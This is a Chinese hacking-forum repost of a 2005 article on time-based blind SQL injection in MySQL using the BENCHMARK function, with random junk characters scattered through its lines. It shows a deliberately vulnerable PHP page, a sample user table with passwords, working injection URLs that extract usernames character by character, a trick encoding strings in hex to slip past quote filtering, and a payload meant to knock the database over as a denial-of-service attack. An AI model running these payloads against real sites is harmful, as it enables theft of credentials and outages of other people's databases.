找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2191|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 " X2 T7 {, {+ }2 B
本文作者:SuperHei
0 E" x9 r8 e  m. r9 W9 s文章性质:原创- `, a. _4 X$ H! X3 |6 p
发布日期:2005-01-02
' `( j* Y8 \# J& N完成日期:2004-07-09
8 ]& J2 A/ P& j9 j2 c4 ]3 p第一部1 L( N- U' B& G/ v& r
9 ~; @% d$ B: E2 Z; o! ]8 n
利用时间推延进行注射---BENCHMARK函数在注射中的利用
4 q) B/ X* T8 p" J; }3 K
; m1 _1 H, i5 x5 P一.前言/思路
6 ], Q4 r' A, l- `. F8 N% g4 e/ {( t8 ]" ]0 u
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。. P) M' T, ^# _5 F' s

) {" f9 R4 n7 w5 D  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
. V3 B+ u0 O) d. _+ ?: |) {; a5 Z; ?5 d: U$ z
二.关于BENCHMARK函数
- e7 T$ l+ C6 G, F9 A* B8 p, ?, W7 T. ?4 e( z6 E- h. q" [) l# M" ^
  在MySQL参考手册里可以看到如下描叙:
- n/ N8 C6 K$ j% @( y% q$ o4 x1 f: I3 j9 A% R& ^* ?

4 N% G( j! z. K4 j--------------------------------------------------------------------------------$ P4 W$ U8 g- c0 \4 m+ ^, l
" v8 t9 M+ V6 `4 x/ m) F& L5 J5 V
BENCHMARK(count,expr)
( p3 z8 B* ~; d3 i% }5 W& eBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
7 a0 j$ v% A2 k6 emysql> select BENCHMARK(1000000,encode("hello","goodbye")); . M' y9 J% Y* \3 b
+----------------------------------------------+
- d5 T) _- C* o5 |+ Z| BENCHMARK(1000000,encode("hello","goodbye")) |
' Z; l* @. Z! Y+----------------------------------------------+
. X0 }1 O1 I. a8 }. E4 P, K2 R| 0 | 1 K' m& I2 K! B. E# [; [
+----------------------------------------------+
- w& E& H; R3 g1 row in set (4.74 sec)
: q6 f: N2 J/ }" @" {) x% R
# I8 y% ?0 E" G$ `. j  [报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
$ d; }2 Z; O; ^! I; ]1 y2 ^- Q. ~3 q: O
0 u( s- i5 S( ]4 y; z5 T
--------------------------------------------------------------------------------7 A6 H7 `: {( N# H/ R
3 s4 M# S; t% U: w6 c6 y: r
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
! t% d2 m' t6 \1 @" q* l: ^" k3 \  z9 @; X6 }0 Y+ p, {
mysql> select md5( 'test' );
4 ^, K6 m& P& E+----------------------------------+ 2 C5 c$ R  P% U2 T  s
| md5( 'test' ) | 7 J: W+ H/ X5 P, I" G" w  V
+----------------------------------+ , ]1 {$ L1 e$ {% c- D" ?. o) Q4 A: z6 P
| 098f6bcd4621d373cade4e832627b4f6 |
$ p) d2 `- }4 S1 A+----------------------------------+ 4 @$ x" U; M( S0 u! ?
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
. S* P5 K8 W5 N8 E% j, i
( d5 Y5 H7 m4 s) Pmysql> select benchmark( 500000, md5( 'test' ) );
. A9 |3 U' e; U+ s7 k, X$ z+------------------------------------+
! b! Q* t7 P( {6 D5 p| benchmark( 500000, md5( 'test' ) ) | $ d% H) ]' R2 p
+------------------------------------+
) `4 ^+ C; _1 I8 t( q| 0 |
/ v" R# @2 ^! @. {, ~  p+------------------------------------+ * X0 A; O4 d" {
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
* [% m9 E- e8 x( s+ }- p
3 t/ t; U3 a1 {; F1 h! s2 ~7 \/ o' {6 m' Q& s
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
  v8 B3 ~; b/ v5 L4 f! b3 ?) Q# A& K+ |- q! {
三.具体例子
! _( O5 S; X: f+ S$ \7 j4 ^7 v+ X/ @5 J6 H
  首先我们看个简单的php代码:
6 N2 C" ?1 ?( t+ k2 W9 h& E# r, S0 o- @0 D/ c* a) A- F
< ?php
- p9 r: s& p6 S3 i. i$servername = "localhost";
: ~% k0 P3 G% c1 g& h/ s/ s* n5 u$dbusername = "root";
) ]1 s+ |9 z3 a# G% B$dbpassword = "";
- Y* K% A3 ]; s# Z1 B$dbname = "injection"; : H+ W7 w6 [, ?: F+ M0 F
0 K7 m' n1 C3 n0 u1 P, U
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
0 w8 C2 ]. K& G+ T6 f/ W
$ I6 X, ~, w  s( @$sql = "SELECT * FROM article WHERE articleid=$id"; # N3 R- O8 F& r7 s
$result = mysql_db_query($dbname,$sql); , \3 p: \% E/ B+ W
$row = mysql_fetch_array($result); 3 s' r/ Q* w: c( R+ m8 z  l
" I2 W) ?% ~7 z" ~7 ]
if (!$row) % r3 I* ^' h2 K6 K5 B1 x/ ^
{ 0 ]6 r% @9 ]! t; _+ J) j" t
exit; + r8 q2 N) Y* y# m2 X
}
0 j) r1 q8 B; I1 z2 n  O+ d7 m# l?>
# ]% v& V" c& E3 w. S
$ M' }+ o. T! @8 L2 n
9 [  ^( W, z+ e" G* a6 l0 H3 y8 E0 m) U  数据库injection结构和内容如下:
; \( N6 f2 Y1 ~* N9 x# A% P
+ R! o8 S+ w1 @( F2 n( Q: D  A4 l# 数据库 : `injection`
7 G: T% y. M) Z+ `# ! |9 R. m9 m" g" J

3 Z/ f6 l$ o( V* Y# -------------------------------------------------------- # ~$ L6 e$ d. R1 u( d" W
1 b" p9 D4 H+ ^1 z
#
: a$ `8 T' {/ V/ a$ U# 表的结构 `article` # ?6 ?+ A0 i; E" {
# $ T/ F  b  {/ p" f

/ B# `4 @* \$ m: ?* }4 e6 \% ECREATE TABLE `article` (
* D: R5 ?- N2 q9 l& f`articleid` int(11) NOT NULL auto_increment,
8 m- i* O3 r& E/ K/ {8 E+ q- p`title` varchar(100) NOT NULL default '',
) Z  q1 p/ E1 F6 U) q  k& D`content` text NOT NULL, 8 U. i0 z2 r& \6 r& X2 o/ [
PRIMARY KEY (`articleid`)
5 @% T# X+ X3 d2 K' T/ C) TYPE=MyISAM AUTO_INCREMENT=3 ;
2 K& c  i" @, B( X3 T% n9 G+ B7 P' ?
# ; g: l. G( z6 |6 v. k5 U* T
# 导出表中的数据 `article` 0 n2 y8 o8 Z5 i5 i
# $ N/ |+ p- H- ?8 B3 h& @
) |! q' P1 Q* V6 Y; i% {" t
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 7 c) S* d: K7 ?$ h
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
) f: R# N2 i5 {- o% H
- ~2 Y# I2 I( Y* u, f) Y( H# -------------------------------------------------------- ; q3 |" p6 H6 B
  b" ?" \3 U. M9 t0 l" T
#
! ?; e+ M+ S# j" v* ~! t: C# 表的结构 `user` 6 Q8 B& p6 r/ S# h7 S
# , n8 t5 n  H. r) J8 s
: c$ b0 |0 L& I. o9 A; M
CREATE TABLE `user` (
0 Y( O; h( [6 _  k`userid` int(11) NOT NULL auto_increment,
4 h) @- G- y3 P2 _( C9 O`username` varchar(20) NOT NULL default '',
- U9 ~6 r2 R/ L* W; {' q) ``password` varchar(20) NOT NULL default '', 8 F) A1 s6 f/ [) N
PRIMARY KEY (`userid`)
. i8 I, Y+ t$ G; r1 \) p) TYPE=MyISAM AUTO_INCREMENT=3 ; * O! [' P1 E. B# j$ Y3 Z, ^

5 ?; p0 z. j, k! N# + }& m% [- M; f7 @
# 导出表中的数据 `user`
6 A% p& V; Q1 W+ k4 ?# & \0 t! O- V4 x, Z

2 V8 w: t! z4 B8 {3 x" j- oINSERT INTO `user` VALUES (1, 'angel', 'mypass');
; p) ]% r( x+ Q2 mINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');! c; \+ }8 w) Y2 m# h$ j$ H9 T

! _7 F9 e( ]2 b  o- B; z
: G5 u' i1 r: a2 V) U  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
, h) O5 j7 I# n& r, L* |1 u  }5 W8 c( U3 }( |1 X
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
, ^* ]6 l: q$ @8 B, ?* [
1 F! d. ?% Z5 ^
/ k5 M! x! T+ R  y  [; \! `  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:3 C* C- S3 }/ c. A! y6 C0 Q
! G+ x' [- H- H) c
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
; x3 D4 u4 I0 a8 f6 W. j
  {- j- U1 ^1 a* N7 ]3 w. d0 _1 ?7 N0 L& `% p( N1 f. x
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
7 o8 C" _2 b" g% e% O" V7 x- f
5 P8 X; j7 p" y0 ^' p  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 1 p9 y, {* e+ m8 P4 g8 A

. }" O* V( ^9 i! e- f2 r4 O第二部  U4 ~, O; g- u0 m4 K( H

; A5 l8 M' w6 y! G' K利用BENCHMARK函数进行ddos攻击
' I" |+ [: F# B/ \/ `# ^; Y' J3 C0 j
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
- }5 k7 {. ]/ i) a! m( v4 B6 \4 {' [6 G$ G4 O7 z) Z; z
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))4 e6 q$ M& B" P9 ?4 E, B
0 ^0 |3 g( R( W

! m' t+ Q' S* Q8 e; K8 f小结
( h6 {9 S: O& w' q/ ]
* P' s1 \/ d& ^! ^6 e' N; P8 W& y  V  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
* m/ h9 W% R, O5 i$ w- `! O2 Y 9 D0 y# [. o: ~7 v1 U$ w/ n
  ' m  G. v% L0 J7 d7 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表